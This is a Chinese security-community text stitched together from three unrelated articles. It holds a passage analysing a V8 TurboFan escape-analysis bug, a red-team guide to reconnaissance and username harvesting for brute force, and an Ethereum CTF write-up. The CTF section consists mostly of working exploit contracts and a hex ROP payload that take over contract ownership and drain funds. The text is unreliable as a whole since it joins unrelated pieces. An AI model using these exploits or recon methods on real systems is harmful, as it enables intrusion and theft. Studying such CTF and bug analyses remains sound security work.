我们看到，常数值0xbadc0de出现在该内存区域的末端。虽然这并不能证明任何事情，但是至少说明，这个内存区域可能是JIT编译的函数用来存储局部变量的。还记得前面代码崩溃的原因吗？导致崩溃的原因是加载了一个本来要作为参数传递给Object.toString的值引发的。这进一步印证了我们的这个看法。
结合TTD，我们可以进一步确认这段内存的确未被该函数初始化的事实，可能的原因是JIT编译器没有给出初始化指向用于访问o.b.ba.bab字段的对象成员的指针的代码。
为了证实这一点，我们可以使用-trace-turbo和-trace-turbo-graph参数在D8中运行测试用例。这样的话，D8就会输出TurboFan（V8的JIT编译器）任何构建和优化相关代码方面的信息。我们可以将它与turbolizer结合起来使用，可以显示TurboFan用于表示和优化代码的相关图。
TurboFan会依次对这些图实施各种优化。当优化过程经过一半，也就是在卸载优化阶段之后，将得到如下所示的代码的流程图：
显然，优化器将func0放入了无限循环中，然后从第一次循环迭代中把它拽了出来。这些信息对于了解各个代码块之间的相互关系非常帮助。然而，这种展示方式的缺点是，漏掉了对应于加载函数调用的参数的节点，以及局部变量的初始化对应的节点，但是这些信息正好都是我们比较感兴趣的。
幸运的是，我们可以使用turbolizer的界面来显示这些内容。下面我们考察第二个Object.toString调用，我们可以看到参数来自哪里，以及它被分配到哪里以及在哪里进行初始化：
（注意：需要手动修改节点标签以提高可读性）
在优化阶段，代码看起来非常合理：
分配内存块以存储本地对象o.b.ba（节点235），并初始化baa和bab字段
分配内存块以存储本地对象o.b（节点259），并且初始化所有字段，其中需要特别指出的是，ba初始化为指向前面的o.b.ba的引用
分配内存块以存储本地对象o（节点303），并且初始化所有字段
本地对象o的字段b被对对象o.b（节点185）的引用覆盖，
本地对象字段o.b.ba.bab被加载（节点199、209和212）
调用Object.toString方法，将o.b.ba.bab传递为第一个参数
在这个优化阶段中，编译的代码看起来没有表现出未初始化的局部变量行为（我们猜测这种行为是该bug的根本原因）。话虽如此，该图的某些方面可以证明我们的猜测。请看一下节点209和212，分别加载o.b.ba和o.b.ba.bab，用于函数调用参数，我们可以看到，偏移量+24和+32与崩溃代码的反汇编结果是相对应的：
0x17和0x1f的十进制值分别为23和31。考虑到V8标签的值是如何区分实际对象与内联整数（SMI）的，这一切就顺理成章了：如果一个JavaScript变量的值的最低有效位为1，则被视为指向对象的指针，否则被视为SMI。因此，V8代码在解引用的时候，作为一种优化措施，会从JavaScript对象偏移中减1。
由于我们仍然无法解释这个bug，所以还需继续考察这个优化过程。在经过Escape分析之后，图形变成下面的样子：
这里有两个显着的差异：
代码不再是加载o和o.b了——它被优化为直接引用o.b，可能是因为该字段的值从未发生变化的缘故
代码不再初始化o.b.ba；从图中可以看出，turbolizer将节点264显示未灰色，这意味着它不再活动，因此不会被内置到最终的代码中
查看这个阶段所有的活动节点，可以发现这个字段确实没有被初始化。同时，我们在这个测试用例上运行d8，并且使用–no-turbo-escape选项，以省略这个优化阶段：d8不再崩溃，从而确认这就是问题所在。这个结果表明，谷歌对这个bug的修补方法为：完全禁用v8
6.1中的escape分析，直到v8 6.2版本中的新escape分析模块就绪为止。
现在，我们已经清楚了这个bug的根本原因，下面我们要做的就是寻找相应的利用方法。虽然这个bug看上去非常强大，但实际上它完全取决于我们对未初始化的内存片段的控制能力，以及最终的利用方式。 | 社区文章 |
前段时间一直在做java，渗透工具都要生锈了。项目又来了，赶紧磨一磨我的武士刀。总结一下打点的思路，以及对一些自动化工具做一下总结。
当我们拿到一个目标的时候，有时候做安服渗透项目，大多数时候都是直接给了一个具体的网站或者APP。但是当我们作为红队的时候，更多的时候可能是给你一个公司的名字等。这种时候信息收集就不进进局限于网站了。可能要从头开始收集。下面说一下信息收集的方式方法。
**企业信息收集**
拿到一个目标，不考虑钓鱼的情况下。如果正常从web入手，至少需要收集以下的信息。
一：公司级别
（1）公司的域名
（2）公司的子域名
（3）全资子公司（可能从下级单位打上去，但是光打了下级算不算分得看裁判和规则怎么评估）
（4）公司的ip信息（大公司可以直接跑C段）
一般经过上面的收集以后，我们能够获取到一系列的ip，域名信息。此时需要针对这些进行排除（比如说云上的资产等或者存在cdn的资产，cdn需要寻找真实ip绕过云waf，云上很可能触发告警要小心一点）。
二：ip级别
当我们拿到了一系列的ip和域名以后，对于已经确定的ip，需要进行至少一下的信息收集
（1）ip是否为真实ip
（2）ip开启了哪些端口，可能存在哪些漏洞（外网redis有时候看到的多，但是真实情况下碰到的确实不多，很多时候其实都是web和钓鱼撕开口子的）
（3）对于web，至少需要收集框架，路径，登录接口，js中的敏感信息，网站中间件，服务器操作系统等。大多数时候其实都是文件上传，直接rce或者寻找到了敏感信息等拿下来的，对于之前碰到过一次有个队伍打供应链下载源码审计的这种属于非常态暂不讨论。
三：用户级别
（1）用户级别主要是涉及拿到一些用户的用户名等。便于进行暴力破解。这种说的少点因为太多了，github，google语法，官网，看官网邮箱格式，根据公司名字猜，还有公告里泄露人名，以及一些通用的如公司首字母+数字等。
下面对一些收集的方法进行具体的说明。
**公司级别**
**获取目标域名**
（1）直接百度公司，看看有无官网，官网一般是主域名
（2）查看天眼查，企查查，域名备案等获取主域名
（3）利用whois查询，whois反查获取域名相关信息
（4）利用app查询公司的域名。
（5）利用股权穿刺图查看公司的子公司域名
<http://whois.chinaz.com/> //whois查询
<https://beian.miit.gov.cn/> // 域名备案查询
<https://www.qcc.com/> //企查查
<https://www.qixin.com/> //启信宝
<http://icp.chinaz.com/> //站长工具
<https://www.tianyancha.com/> //天眼查
<https://aiqicha.baidu.com/> //爱企查
说一个小的tips，这里没有提到搜索引擎，可以再fofa或者zoomeye
shodan上面查一下公司名字，因为更新的原因可能有些时候域名等无法访问以及更换了，但是ip段还在，如果找到了ip，也能跑一下C段，说不定可以拿到主域名，拿到主域名的原因是在于跑一下子域名。
当我们拿到域名以后。先不要急着跑子域名。可以看一下ip的信息。这个其实很好说，全球ping一下看看有无cdn，搜索一下ip看看是否属于某某云。
<http://ping.chinaz.com/www.zswater.com> //全球ping
<https://wepcc.com/> //全球ping
**获取目标子域名**
拿到了主域名，子域名肯定是必不可少要跑的。上面叫先拿ip，是因为我们可以结合真实ip的C段，更精确的判断出域名的相关信息，尽可能少的漏掉。这里我比较喜欢用下面的几个工具
<https://github.com/shmilylty/OneForAll> //比较自动化，收集的比较全，使用方便
<https://github.com/knownsec/ksubdomain> //自动化，收集比较全
<https://github.com/0x727/ShuiZe_0x727> //使用方便，自动化，集成工具
有机会的话对于app等也抓一下域名信息。对于一些自定义字典爆破的特殊情况就不说了，这里只说常用的。
**获取目标ip**
收集到现在，不出意外我们手上应该是有一堆域名信息了。一个个判断略显麻烦，这里已经有师傅为我们做好了域名转化为ip的工具，同时能够将C段整理出来。
<https://github.com/EdgeSecurityTeam/Eeyes>
都到了这里了，可以尝试扫描一下c段，因为有ehole能够直接整理出重点资产，比较方便。推荐的扫描工具
<https://github.com/shadow1ng/fscan> //内网可用，外网也可以用
<https://github.com/Adminisme/ServerScan>
<https://github.com/EdgeSecurityTeam/EHole>
这里可能会存在一些cdn，需要真实ip的可能。一般我比较常用的是找子域名和icon，以及ssl证书等，历史记录感觉碰到的不多，还不如fofa大法去搜搜。或者是直接子域名再扫个C段等等。这个方法很多我就不献丑了。
**获取目标web信息**
上两步，我们基本是拿到了目标的ip段，域名，现在就要尝试对网站进行判断了。推荐先用ehole走一下识别出重点资产。然后再判断。
<https://github.com/broken5/WebAliveScan> //web存活判断
（1）收集web的框架信息，一般我采用下面几种手法
《一》识别网址框架:
<https://scan.dyboy.cn/web/>
<https://fp.shuziguanxing.com/#/>
火狐插件
wappalyzer
其他
利用web的js里面可能会泄露web框架的相关信息，或者根据网站的图标，错误页面，下方的开发公司等去确定网站可能采用了什么框架。
《二》路径收集
<https://github.com/maurosoria/dirsearch> //dirsearch
dirbuster //kali自带
burp爆破自定义的字典 //需要平时收集或者再github上找字典（主要还是可能有些网站他有自己的路径格式，工具不一定能跑出来）
《三》敏感信息收集
js中的敏感文件
JSfinder：<https://github.com/Threezh1/JSFinder>
查看开发者工具中js，然后对于一些js文件搜索password username等关键字（这需要直接，有可能会js泄露一些用户名，这是工具跑不出来的）
网站内容的敏感数据
这种对有些ZF很有用。经常会碰到邮箱账号密码都写在主页里的。所以对于一些文章啊，可以浏览一些。说不定也能看到一些收购计划之类的，扩大我们的攻击面。路多了总有一条能走通。这里没用吧端口说出来，因为我们前面已经收集了。一些中间件一类的是顺带就可以看的，操作系统类的也是能拿了shell才考虑的事情。当然一些shiro等还是要熟悉，这是HW的大杀器。
《四》后台收集
这里专门把后台收集提出来，是因为后台并不是说路径扫完了没了就没有了。有可能字典不包含。碰到这种情况，可以尝试以下方法。
（1）可以去搜一下有没有相同的框架说明文档看看后台地址。
（2）根据他网站文件的命名格式去看一下有没有可能重名。
（3）在网页上看看有没有暴露出后台的接口
（4）在js中搜一下admin,system等关键字看看能不能拼接处后台地址。
（5）根据url地址，直接把user改为admin等等。
当到了这一步的时候，我们基本上对于我们的目标打点以及资产还是不少了。对了还有APP的没说，APP渗透我做的不多，所以这里就找了几个搜索APP信息的工具
<https://github.com/kelvinBen/AppInfoScanner> app敏感信息收集
百度一下网盘查询，找几个进去看看（可以看看是否泄露了源码，但是实际没碰到过这种情况，适用于想直接getshell失败的情况下。）
对于可能需要爆破的，用户名的收集，这一块我一般都是字典直接爆破的。要收集的话我的思路是以下，如果有补充和修正欢迎指点一下：
（1）再网页上直接找用户名（因为一般都有邮箱之类的，这里你能拿到用户名，根据公司名称或者数字生成相应的字典）
（2）利用google语法，搜索xlsx等，或者直接搜这个公司相关的，可能会出现用户名
（3）github上找一下这个公司看看有没有啥泄露的
（4）招聘网站上看看，面试官之类的可能会泄露电话号码，用户名，根据电话号码查用户名
（5）搜索公司的架构图，如果有领导的记下来
（6）利用公众号，微博等社交软件搜索公司的信息。
（7）百度图片（这个看运气了，有时候网页搜出来太多了，直接看看百度图片，有可能出现用户名
筛选起来也很快，是我在之前某次攻防中需要找到一个编号的时候想到了，但是编号打码太模糊了看不清楚）
（8）找一下常用用户名的字典进行收集。
大概就想到这么多吧，其他的再实战中碰到了再说。常规的思路其实已经够用了，比较骚的思路都是走投无路的时候抓破头颅整出来的，所以不管碰到什么情况，多动动小脑筋。信息收集多做一点，实在不行曲线救国打打供应链能脱下来源码也不错（但是这种比较适用于地方ZF用的小供应商的代码，比较大的要你那么短时间审计出来难度也太大了。）
``` | 社区文章 |
本文为ConsenSys CTF，`Ethereum Sandbox`相关的一篇文章。
在了解这个题目前需要我们对以太坊和Solidity的基本概念进行理解。
### 题目一
我们的目标部署`0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a`的一个合约上。该合约没有经过代码验证操作，所以我们需要对该合约进行逆向从而获取源代码信息。
代码信息如下：
// Decompiled at www.contract-library.com
// Data structures and variables inferred from the use of storage instructions
uint256[] stor_write_what_where_gadget; // STORAGE[0x0]
uint256[] stor_owners; // STORAGE[0x1]
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(uint256 function_selector) public {
MEM[0x40] = 0x80;
if ((msg.data.length() >= 0x4)) {
if ((0x25e7c27 == function_selector)) owners(uint256)(function_selector);
if ((0x2918435f == function_selector)) fun_sandbox(address)();
if ((0x4214352d == function_selector)) write_what_where_gadget(uint256,uint256)();
if ((0x74e3fb3e == function_selector)) 0x74e3fb3e(function_selector);
}
throw();
}
function write_what_where_gadget() public {
require(!msg.value);
require(((msg.data.length() - 0x4) >= 0x40));
v1200x149 = msg.data[v1200x131];
v1200x14d = v1200x131 + 32;
require((msg.data[v1200x14d] < stor_write_what_where_gadget.length));
stor_write_what_where_gadget[msg.data[v1200x14d]] = v1200x149;
exit();
}
function 0x74e3fb3e() public {
require(!msg.value);
require(((msg.data.length() - 0x4) >= 0x20));
v1650x18e = msg.data[v1650x176];
require((v1650x18e < stor_write_what_where_gadget.length));
v1650x1a1 = MEM[0x40];
MEM[v1650x1a1] = stor_write_what_where_gadget[v1650x18e][0];
return(MEM[MEM[0x40]:MEM[0x40] + (v1650x1a1 + 32 - MEM[0x40])]);
}
function owners() public {
require(!msg.value);
require(((msg.data.length() - 0x4) >= 0x20));
v610x8a = msg.data[v610x72];
require((v610x8a < stor_owners.length));
v610x1ef = address(stor_owners[v610x8a][0] >> 0);
v610x9d = MEM[0x40];
MEM[v610x9d] = address(v610x1ef);
return(MEM[MEM[0x40]:MEM[0x40] + (v610x9d + 32 - MEM[0x40])]);
}
function fun_sandbox(address varg0) public {
require(((msg.data.length() - 0x4) >= 0x20));
v289_1 = 0x0;
v20b_0 = 0x0;
while (true) {
if ((v20b_0 >= stor_owners.length)) break;
require((v20b_0 < stor_owners.length));
if ((address(msg.sender) == address(stor_owners[v20b_0][0] >> 0))) {
v289_1 = 0x1;
}
v20b_0 = v20b_0 + 1;
continue;
}
require(v289_1);
v29c = extcodesize(varg0);
v2a1 = MEM[0x40];
MEM[0x40] = (v2a1 + (v29c + 63 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0));
MEM[v2a1] = v29c;
EXTCODECOPY(varg0, v2a1 + 32, 0x0, v29c);
v2cf_0 = 0x0;
while (true) {
if ((v2cf_0 >= MEM[v2a1])) break;
if ((v2cf_0 < MEM[v2a1])) break;
require((v2cf_0 < MEM[v2a1]));
require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf0 << 248));
require((v2cf_0 < MEM[v2a1]));
require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf1 << 248));
require((v2cf_0 < MEM[v2a1]));
require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf2 << 248));
require((v2cf_0 < MEM[v2a1]));
require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf4 << 248));
require((v2cf_0 < MEM[v2a1]));
require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xfa << 248));
require((v2cf_0 < MEM[v2a1]));
require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xff << 248));
v2cf_0 = v2cf_0 + 1;
continue;
}
v714 = address(varg0).delegatecall(MEM[MEM[0x40] : MEM[0x40] + ((0x0 + MEM[0x40]) - MEM[0x40])]).gas(msg.gas);
if ((RETURNDATASIZE != 0x0)) {
vdc0x724 = MEM[0x40];
MEM[0x40] = (vdc0x724 + (RETURNDATASIZE + 63 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0));
MEM[vdc0x724] = RETURNDATASIZE;
RETURNDATACOPY(vdc0x724 + 32, 0x0, RETURNDATASIZE);
}
vdc0x753 = !vdc0x714;
require(vdc0x714);
exit();
}
合约未经验证，因此我们将使用合约库的方式对其进行逆向工程<https://contract-library.com/contracts/Ethereum/0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a>
。
我们发现在功能`0x2918435f`中有一个被更改过的调用函数。如果我们可以指定`delegatecall`使用的地址，那么我们基本上就能拥有合约。
让我们来看看为了触发此漏洞必须满足哪些条件。
首先我们来看先决条件：
function 0x74e3fb3e() public {
require(!msg.value);
require(((msg.data.length() - 0x4) >= 0x20));
v1650x18e = msg.data[v1650x176];
require((v1650x18e < stor_write_what_where_gadget.length));
v1650x1a1 = MEM[0x40];
MEM[v1650x1a1] = stor_write_what_where_gadget[v1650x18e][0];
return(MEM[MEM[0x40]:MEM[0x40] + (v1650x1a1 + 32 - MEM[0x40])]);
}
在该函数中，我们需要满足：
require(((msg.data.length - 0x4) >= 0x20));
即消息data长度必须至少为32字节。
我们对合约进行一些细微的修改，存储偏移量0x01存储了一个数组。 此代码实质上检查调用者是否在该数组中。
在代码开始处，此数组等于[0xf339084e9838281c953f3e812f32a6e145f64bff]。
bool foundOwner = false;
for (int index = 0; index < owners.length; index++) {
if (msg.sender == owners[index]) {
foundOwner = true;
}
}
require(foundOwner);
之后我们再看下面的内容：
while (true) {
if ((v2cf_0 >= MEM[v2a1])) break;
if ((v2cf_0 < MEM[v2a1])) break;
require((v2cf_0 < MEM[v2a1]));
require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf0 << 248));
require((v2cf_0 < MEM[v2a1]));
require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf1 << 248));
require((v2cf_0 < MEM[v2a1]));
require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf2 << 248));
require((v2cf_0 < MEM[v2a1]));
require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf4 << 248));
require((v2cf_0 < MEM[v2a1]));
require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xfa << 248));
require((v2cf_0 < MEM[v2a1]));
require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xff << 248));
v2cf_0 = v2cf_0 + 1;
continue;
在合约中我们看到了上述一堆条件，然而这些条件经过分析可以简化为：
bytes memory code = address(target).code;
for (int index = 0; index < code.length; index++) {
require(code[index] != 0xf0);
require(code[index] != 0xf1);
require(code[index] != 0xf2);
require(code[index] != 0xf4);
require(code[index] != 0xfa);
require(code[index] != 0xf4);
}
这个前提条件很容易理解。
根据黑名单`(CREATE，CALL，CALLCODE，DELEGATECALL，STATICCALL和SELFDESTRUCT)`检查目标合同代码的每个字节。
这就是类似于沙箱的某种操作。
前提条件1很简单，由于msg.data中的内容是我们给出的，所以其长度很容易满足。然而前提条件2比较棘手。由于我们没有直接修改所有者数组的函数。
因此，我们需要寻找其他的方法来满足上述条件。 唯一的具有修改内容的函数如下：
if ((0x4214352d == function_selector)) write_what_where_gadget(uint256,uint256)();
function write_what_where_gadget() public {
require(!msg.value);
require(((msg.data.length() - 0x4) >= 0x40));
v1200x149 = msg.data[v1200x131];
v1200x14d = v1200x131 + 32;
require((msg.data[v1200x14d] < stor_write_what_where_gadget.length));
stor_write_what_where_gadget[msg.data[v1200x14d]] = v1200x149;
exit();
}
看起来这个函数并没有什么危险，但实际上此函数隐藏了一个任意的写原语的接口，我们可以用它将合约的owner所有权转让给我们自己。
满足前提条件3是最棘手的，我们需要调用某种方法来转移以太token，并且此过程中不能够使用任何转移函数。
然而这里存在一个名为`Constantinople`的硬分叉，而这个硬分叉包含了EIP-1014，且它创建一个名为`CREATE2`的新操作码。
此操作码的行为类似于`CREATE`，并存在于0xF5的位置。而该字节未被列入黑名单，因此我们可以使用CREATE2将以太网转移出CTF。
如何获得flag呢？
当满足上述的三种条件后flag就很容易获得了。
以下合约为攻击合约，且将通过将存储0x00的值来锁定CTF，并将所有权转移到自己的地址。
contract StorageWriter {
constructor() public payable {
assembly {
mstore(0x00, 0x348055327f0b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fc)
mstore(0x20, 0xbe2b7fa0cf601002600601550000000000000000000000000000000000000000)
return(0x00, 0x40)
}
}
}
/**
* Locks the contract so no one else can take ownership
*/
contract Locker {
CTFAPI private constant CTF = CTFAPI(0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A);
constructor() public payable {
require(tx.origin == 0x5CD5e9e5D251bF23c7238d1972e45A707594F2A0);
bool result;
// First, make this contract the owner
(result, ) = address(CTF).call(abi.encodeWithSelector(
0x4214352d,
uint(address(this)),
uint(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6-0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563)
));
require(result);
// Second, create the storage writer contract
StorageWriter locker = new StorageWriter();
(result, ) = address(CTF).call(abi.encodeWithSelector(
0x2918435f,
locker
));
require(result);
// Third, check result
require(CTF.owners(0) == tx.origin);
// Fourth, cleanup
selfdestruct(tx.origin);
}
}
`StorageWriter`合约是用汇编语言编写的，伪代码如下所示。
contract StorageWriter {
uint[] private someArray;
address[] private owners;
function() public payable {
someArray.length = 0;
owners[0] = tx.origin;
}
}
这里有两点需要注意。
* StorageWriter合同实现需要手写。 这是因为这里的沙箱允许使用特定的字节，而不是特定的操作码。 这意味着即使在常量值的上下文中也禁止`0xFA`。
Locker部署在`0x8cd8cc3969f4800257eac48b46e01190477e4cb60d877a50532613db4e32b663`上。
它成功锁定合约并将所有权转让给`0x5cd5e9e5d251bf23c7238d1972e45a707594f2a0`。
contract BountyClaimer {
constructor() public payable {
assembly {
mstore(0x00, 0x6132fe6001013452346004601c3031f5)
return(0x10, 0x20)
}
}
}
这个合同也是用汇编语言编写的，所以伪代码在下面给出。
contract BountyClaimerInner {
constructor() public payable {
selfdestruct(tx.origin);
}
}
contract BountyClaimer {
function() public payable {
(new BountyClaimerInner).value(address(this).balance)();
}
}
`BountyClaimer`合约使用`CREATE2`创建另一个合同，其中包含函数`selfdestruct(tx.origin)`。
为了绕过字节0xFF上的黑名单，程序集实际上创建了一个0x32FE + 0x01的合约。
### 题目二
第二道题目部署到[0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87](https://ethstats.io/account/0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87)上。
然而，许多反编译器无法对其进行编译操作，所以我们借助上文中的编辑器进行反汇编操作。
// Decompiled at www.contract-library.com
// Data structures and variables inferred from the use of storage instructions
uint256 unknown; // 0x0
uint256 die; // 0x20
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(uint32 function_selector) public {
MEM[0x40] = 0x100000;
if ((msg.data.length() >= 0x4)) {
if ((0x7909947a == function_selector)) 0x7909947a(function_selector);
if ((0x60fe47b1 == function_selector)) set(uint256)(function_selector);
if ((0x6d4ce63c == function_selector)) get()();
v00x5f = (0x35f46994 == v00x37);
if (v00x5f) die()();
}
throw();
}
function 0x7909947a() public {
MEM[0x100] = 0x100;
0x8c(0x0, 0x24c);
0x8c(0x0, 0x25a);
CALLDATACOPY(0x90000, 0x44, msg.data.length());
v269_0, v269_1, v269_2 = 0xb4(0x26a);
0x8c(0x29b, 0x275);
0x8c(0x90000, 0x281);
0x8c(v269_0, 0x28a);
0x8c((msg.data.length() - 0x44), 0x296);
0x8c(0x0, 0x167);
while (true) {
if (!(MEM[MEM[0x100]] - MEM[(MEM[0x100] - 0x20)])) break;
MEM8[(MEM[(MEM[0x100] - 0x40)] + MEM[MEM[0x100]])] = MEM[(MEM[(MEM[0x100] - 0x60)] + MEM[MEM[0x100]])] >> 248 & 0xFF;
MEM[MEM[0x100]] = (MEM[MEM[0x100]] + 0x1);
continue;
}
MEM8[(MEM[(MEM[0x100] - 0x40)] + MEM[MEM[0x100]])] = 0x0;
while (true) {
if (!(MEM[MEM[0x100]] % 0x40)) break;
MEM8[(MEM[(MEM[0x100] - 0x40)] + MEM[MEM[0x100]])] = 0x0;
MEM[MEM[0x100]] = (MEM[MEM[0x100]] + 0x1);
continue;
}
v218_0 = set_impl(0x219);
v221_0 = set_impl(0x222);
v22a_0 = set_impl(0x22b);
v233_0 = set_impl(0x234);
0xc3();
}
function set(uint256 varg0) public {
get_impl(0x317);
v31e_0, v31e_1, v31e_2 = 0xb4(0x31f);
0x8c(0x344, 0x32a);
0x8c(varg0, 0x335);
0x8c(0x0, 0x33f);
STORAGE[MEM[MEM[0x100]]] = MEM[(MEM[0x100] - 0x20)];
v2ff_0 = set_impl(0x300);
v308_0 = set_impl(0x309);
0xc3();
}
function get() public {
get_impl(0x352);
if ((msg.sender == unknown)) {
throw();
} else {
MEM[0x80] = unknown;
return(MEM[0x80:0xa0]);
}
}
function die() public {
if ((msg.sender != die)) {
throw();
} else {
selfdestruct(die);
}
}
function 0x8c(uint256 vg0, uint256 vg1) private {
v93 = (MEM[0x100] + 0x20);
MEM[0x100] = v93;
MEM[v93] = vg0;
return() // to vg1;
}
function set_impl(uint256 vg0) private {
MEM[0x100] = (MEM[0x100] - 0x20);
return(MEM[MEM[0x100]]) // to vg0;
}
function 0xb4(uint256 vg0) private {
return() // to 0x8c;
}
function 0xc3(uint256 vg0) private {
vca_0 = set_impl(0xcb);
vd2_0 = set_impl(0xd3);
MEM[0x100] = vc30xd2_0;
}
function get_impl(uint256 vg0) private {
require(!msg.value);
return() // to vg0;
}
其中包含了如下经过签名的函数：
`get()`和`die()`函数很简单，可以用伪代码表示，如下所示，
我们可以假设`get()`是作为完整性检查提供的，而`die()`显然是我们需要调用以解决此CTF的函数。
address private storage_00;
address private storage_20;
function get() public returns (address) {
require(msg.sender != storage_00);
return storage_00;
}
function die() public {
require(msg.sender == storage_20);
selfdestruct(storage_20);
}
仔细查看set(uint256)函数，我们发现此函数内容非常复杂，由于该函数需要进行手动堆栈调用，其调用过程我总结如下：
function stack_push(uint256 value) private {
memory[memory[0x100]+0x20] = value;
memory[0x100] = memory[0x100] + 0x20;
}
function stack_get(uint256 depth) private {
return memory[memory[0x100] - depth*0x20];
}
function stack_pop() private returns (uint256 value) {
value = memory[memory[0x100]];
memory[0x100] = memory[0x100] - 0x20;
}
function stack_push_frame() private {
stack_push(memory[0x100]);
}
function stack_pop_frame() private returns (uint256 dest) {
dest = stack_pop();
memory[0x100] = stack_pop();
}
使用调用堆栈函数，set(uint256)可以表示如下：
function set(uint256 value) public {
stack_push_frame();
stack_push(return_lbl);
stack_push(value);
stack_push(0x00);
set_impl();
return_lbl:
return;
}
function set_impl() private {
storage[stack_get(0)] = stack_get(1);
stack_pop();
stack_pop();
goto stack_pop_frame();
}
简洁一点：
address private storage_00;
function set(uint256 value) public {
storage_00 = address(value);
}
function 0x7909947a() public {
memory[0x100] = 0x100;
stack_push(0x00);
var var1 = memory[0x100]; // 0x120
stack_push(0x00);
memcpy(memory[0x90000], msg.data[0x44], msg.data.length-0x44);
stack_push_frame();
stack_push(irrelevant_lbl);
stack_push(0x90000);
stack_push(var1);
stack_push(msg.data.length - 0x44);
stack_push(0x00);
0x7909947a_impl();
irrelevant_lbl:
// some irrelevant code
}
function 0x7909947a_impl() private {
copy_data();
memory[stack_get(2) + stack_get(0)] = 0x00;
pad_data();
stack_pop();
stack_pop();
stack_pop();
stack_pop();
goto stack_pop_frame();
}
function copy_data() private {
while (stack_get(0) - stack_get(1) != 0) {
memory[stack_get(2) + stack_get(0)] = memory[stack_get(3) + stack_get(0)] >> 248;
memory[memory[0x100]] = memory[memory[0x100]] + 0x01;
}
}
function pad_data() private {
while (stack_get(0) % 0x40 != 0) {
memory[stack_get(2) + stack_get(0)] = 0x00;
memory[memory[0x100]] = memory[memory[0x100]] + 0x01;
}
}
当攻击者能够溢出调用堆栈时，他们可以使用`ROP`通过破坏返回地址来重定向程序的控制流。
由于CTF的大多数目标是对token进行窃取，所以显然我们需要以某种方式将我们的地址写入内存0x20处。我们在set_impl上进行数据写入，将stack_get(1)写入stack_get(0)。
利用set_impl中的操作，我们使堆栈变为下面的样子：
-------------------------------- | stack frame set() |
-------------------------------- | address of 'return' gadget | |
-------------------------------- | stack grows down
| our address | V
-------------------------------- | 0x20 |
--------------------------------
但是，当输入`0x7909947a_impl()`时，我们的堆栈如下：
---------------------------------- | 0x00 | <---- this is 0x0120
---------------------------------- | 0x00 |
---------------------------------- | stack frame 0x7909947a() |
---------------------------------- | irrelevant_lbl | |
---------------------------------- | stack grows down
| 0x090000 | V
---------------------------------- | 0x0120 |
---------------------------------- | msg.data.length - 0x44 |
---------------------------------- | 0x00 |
----------------------------------
当调用`0x7909947a_impl()`时，它会将`msg.data[0x44:]`复制到内存`[0x120]`中。
这意味着如果我们的消息长于`0x40`字节，它将破坏堆栈，然后返回地址，依此类推。
但是，我们无法在堆栈中的两个空白空间中使用`set_impl`所需的四个堆栈项。
我们将payload复制到内存[0x90000]中。 因此，我们可以简单地更新堆栈帧指针，并使其指向我们的堆栈所在的0x90000处。
我需要对`7909947a`进行调用。
接下来，两个将被复制到内存[0x120]。
接下来的两个单词将破坏堆栈帧指针和返回地址。 总消息长度为`0x184`字节，总共为0x140字节。 因此我们的假堆栈帧将指向`0x90140`。
根据函数set_impl所在的位置，我们使用`0x2ea`作为返回地址。
0000000000000000000000000000000000000000000000000000000000090140
00000000000000000000000000000000000000000000000000000000000002ea
因为payload一次一个字节地复制到存储器中，所以在覆盖接下来的四个字时需要我们注意。前三个是静态值后面那个是动态的。
但是第四个字是当前复制的字节数，因此我们必须指定在该时间点复制的字节数。
0000000000000000000000000000000000000000000000000000000000090000
0000000000000000000000000000000000000000000000000000000000000120
0000000000000000000000000000000000000000000000000000000000000140
00000000000000000000000000000000000000000000000000000000000000ff
最后，我们构造了`set_impl`，并使用其对堆栈进行读取操作。首先指定`set_impl`的返回地址，且该地址return_lbl或0x344。
然后，我们指定要写入存储的值。 最后我们指定要写入的存储槽。
0000000000000000000000000000000000000000000000000000000000000344
0000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D938
0000000000000000000000000000000000000000000000000000000000000020
payload如下：
7909947a
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000090140
00000000000000000000000000000000000000000000000000000000000002ea
0000000000000000000000000000000000000000000000000000000000090000
0000000000000000000000000000000000000000000000000000000000000120
0000000000000000000000000000000000000000000000000000000000000140
00000000000000000000000000000000000000000000000000000000000000ff
